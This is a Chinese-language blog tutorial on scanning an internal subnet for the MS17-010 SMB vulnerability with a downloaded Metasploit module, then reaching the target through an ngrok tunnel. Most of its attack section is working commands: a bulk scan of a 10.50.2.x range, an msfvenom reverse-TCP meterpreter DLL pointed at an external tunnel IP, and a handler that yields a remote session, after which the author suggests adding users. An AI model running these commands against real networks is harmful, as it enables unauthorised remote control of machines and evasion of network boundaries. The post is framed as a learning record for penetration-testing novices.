MS17-010漏洞檢測與內網穿透技術的應用

FLy_鵬程萬里發表於2018-06-13

0x00 前言

本文主要介紹一下MSF模組的下載、使用,以及當攻擊機處於內網,而目標機也處於內網的解決方法。這裡藉助MS17-010漏洞來具體講解一下,並沒有新的知識點,可以為剛入門的新手拋磚引玉,提供一條解決問題的思路,同時也記錄一下過程,加強記憶。
主要分為兩個知識點,一是SMB漏洞的批量檢測,二是內網穿透技術。

首先是環境的搭建,具體如下表所示:

主機IP備註
Kali 64位192.168.232.134攻擊機
Windows XP 32位192.168.232.128安裝了python2.6,下載有方程式利用工具包(主要為Windows目錄下的工具)
Window2008 R2 64位10.50.2.62靶機,存在MS17-010漏洞,並可以訪問外網

0x01 SMB漏洞批量檢測

1.掃描指令碼的下載和載入

由於Metasploit還沒有更新MS17-010檢測的模組,所以要去exploit-db下載,並在MSF中載入。

root@kali:~# cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
root@kali:/usr/share/metasploit-framework/modules/auxiliary/scanner/smb# wget https://www.exploit-db.com/download/41891 -O smb_ms_17_010.rb


啟動Metasploit,模組會自動載入,或者使用命令reload_all重新載入所有模組。

2.漏洞掃描的使用方法

選擇使用smb_ms_17_010模組,並檢視使用命令。

msf > use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) > show options


所必須的引數有三個,對於無需登入的SMB,我們只需設定一下掃描的IP段、執行緒並執行即可開始掃描。

msf auxiliary(smb_ms_17_010) > set RHOSTS 10.50.2.1-255
RHOSTS => 10.50.2.1-255
msf auxiliary(smb_ms_17_010) > set THREADS 10
THREADS => 10
msf auxiliary(smb_ms_17_010) > run


出現黃色警告的表示可能存在,需要進一步驗證。
為了方便將存在漏洞的IP列出來,寫了一個簡單的Python指令碼。

import re
if __name__ == '__main__':

    f = open("smb.txt", mode='r', buffering=1)
    while(True):
            line = f.readline()
            if line :
                if  "likely" in line:
                    print line.split(' ')[1].split(':')[0]
            else:
                break

提取出的IP如下所示:

.....
10.50.2.52
10.50.2.62
10.50.2.65
10.50.2.61
10.50.2.63
10.50.2.64
10.50.2.76
10.50.2.69
10.50.2.77
10.50.2.78
10.50.2.79
....

有了存在漏洞的地址,接下來將開始對其進行驗證,以10.50.2.62為例。
由於Kali在虛擬機器,宿主機IP為2.0..,目標機在10.50.2.*。相當於需要從內網到另一個內網, 選擇採用了ngrok進行tcp的埠轉發來實現內網的穿透。

0x02 內網穿透

這裡採用了www.ngrok.cc平臺進行演示,類似這樣的平臺有很多,例如natapp.cn等。
註冊並開通隧道,如圖所示。


下載對應的客戶端,下載地址為:https://www.ngrok.cc/#down-client ,選擇與系統對應的軟體。
我這裡Kali為64位的,下載和使用命令如下:

root@kali:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
root@kali:~/Downloads# unzip  linux_amd64.zip
root@kali:~/Downloads# cd linux_amd64/
root@kali:~/Downloads/linux_amd64# ls
root@kali:~/Downloads/linux_amd64# ./sunny clientid 隧道ID


出現下圖的介面表示執行成功。

使用如下命令生成用於監聽的dll檔案。監聽的IP為server.ngrok.cc的地址,埠為開通隧道時填寫的遠端埠。

root@kali:~/Documents# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56  LPORT=6266 -f dll > got.dll


然後在Kali上設定監聽本機的IP和埠,也就是在開通隧道時填寫的本地埠。

use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit


由於關於Eternalblue利用方法有很多教程了,這裡就不詳細說明了,如圖所示。



攻擊成功時檢視ngrok客戶端發現有一個連線。

而且Kali上也生成了一個meterpreter會話。

之後的操作就很簡單了,可以新增使用者等等。
最後遠端登入成功如下圖所示。

使用natapp也是可以的。

0x03 總結

本文主要以MS17-010為例,講解了如何下載和利用Metasploit中沒有的模組,以及如何解決內網到內網的穿透的問題,當然解決的方法還有很多,這裡就不再介紹了。

沒有什麼新的知識,怕忘記所以記錄一下~~

0x04 參考

[1]https://www.exploit-db.com/exploits/41891/
[2]http://bobao.360.cn/learning/detail/3041.html

相關文章